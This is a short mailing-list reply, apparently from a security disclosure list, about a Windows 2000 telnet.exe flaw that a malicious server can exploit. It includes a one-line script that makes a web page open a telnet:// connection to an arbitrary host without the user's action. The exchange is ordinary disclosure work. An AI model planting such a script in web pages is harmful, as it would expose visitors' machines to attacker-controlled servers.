Re: Win2k Telnet.exe malicious server vulnerability

[Tim Hollebeek <tim () RSTCORP COM>]

> During my tests I discovered that IE associates the telnet://
> URL with the vulnerable telnet.exe. This opens up several
> possible ways to force a user into connecting to you with a
> malicious HTLM web page, email message, and so on. I would
> speculate that it might also be possible to force this to
> happen without user intervention with javascript/activeX/java
> or really creative HTLM.

In fact it's trivial to do so.  Use:
<script>window.open("telnet://some.host.here")</script>